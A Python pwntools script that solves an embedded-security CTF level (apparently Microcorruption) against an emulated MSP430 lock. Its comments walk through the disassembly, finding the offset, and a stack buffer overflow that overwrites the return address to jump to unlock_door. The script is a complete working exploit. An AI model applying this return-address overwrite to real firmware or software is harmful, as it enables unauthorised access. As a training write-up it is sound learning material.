from binascii import hexlify

from pwn import *

MSP430_EMU = args['MSP430_EMU']
MSP430_GDB = 'msp430-gdb'
BINARY = sys.argv[1]
PROMPT = b'gdb> '

context.endian = 'little'
emu = process([MSP430_EMU, '-g', BINARY])
dbg = process([MSP430_GDB, '-ex', 'target remote localhost:3713',
               '-ex', f'set prompt {PROMPT.decode("utf-8")}'])

dbg.recvuntil(PROMPT)

# - like Hanoi, but with a different memory layout
# - the password is read into a buffer on the stack
# - the password check variable is on the stack, too

# 4500 <login>
# 4500:  3150 f0ff      add	#0xfff0, sp
# 4504:  3f40 7c44      mov	#0x447c "Enter the password to continue.", r15
# 4508:  b012 a645      call	#0x45a6 <puts>
# 450c:  3f40 9c44      mov	#0x449c "Remember: passwords are between 8 and 16 characters.", r15
# 4510:  b012 a645      call	#0x45a6 <puts>
# 4514:  3e40 3000      mov	#0x30, r14
# 4518:  0f41           mov	sp, r15
# 451a:  b012 9645      call	#0x4596 <getsn>
# 451e:  0f41           mov	sp, r15
# 4520:  b012 5244      call	#0x4452 <test_password_valid>
# 4524:  0f93           tst	r15
# 4526:  0524           jz	#0x4532 <login+0x32>
# 4528:  b012 4644      call	#0x4446 <unlock_door>
# 452c:  3f40 d144      mov	#0x44d1 "Access granted.", r15
# 4530:  023c           jmp	#0x4536 <login+0x36>
# 4532:  3f40 e144      mov	#0x44e1 "That password is not correct.", r15
# 4536:  b012 a645      call	#0x45a6 <puts>
# 453a:  3150 1000      add	#0x10, sp
# 453e:  3041           ret


def gdb_output(output):
    return output.removesuffix(PROMPT).decode('utf-8').strip().split('\n')


# let's check what's in the memory around the stack pointer


def check_memory(payload, break_addr):
    dbg.sendlinethen(PROMPT, b'break *' + break_addr)
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(payload)

    dbg.recvuntil(PROMPT)
    dbg.interactive()


# check_memory(b'A'*32, b'0x451e')

# - unlike in Hanoi, the variable cannot be overflowed
# - the program doesn't move to the success path and jumps to 0x4532
# - however, overflowing the buffer overwrote the return address of
#   the ret on 0x453e
# - this means control flow can be manipulated if the offset is right

def check_offset():
    dbg.sendlinethen(PROMPT, b'break *0x453e')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    pattern = cyclic(32)
    emu.sendline(pattern)

    dbg.recvuntil(PROMPT)
    output = gdb_output(dbg.sendlinethen(PROMPT, b'x/4xb $sp'))[0]
    subseq = bytes([int(byte, 16) for byte in output.split(':')[1].split()])
    offset = cyclic_find(subseq)
    print(offset)


# check_offset()

# - the offset is 16, so our payload consists of 16 bytes of padding
#   plus address
# - the obvious place to return to is unlock_door at 0x4446

def exploit():
    payload = b'A' * 16 + p16(0x4446)

    dbg.sendline(b'continue')
    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(payload))

    print(emu.recvall().decode('utf-8'))


exploit()

# That password is not correct.
# The lock opens; you win!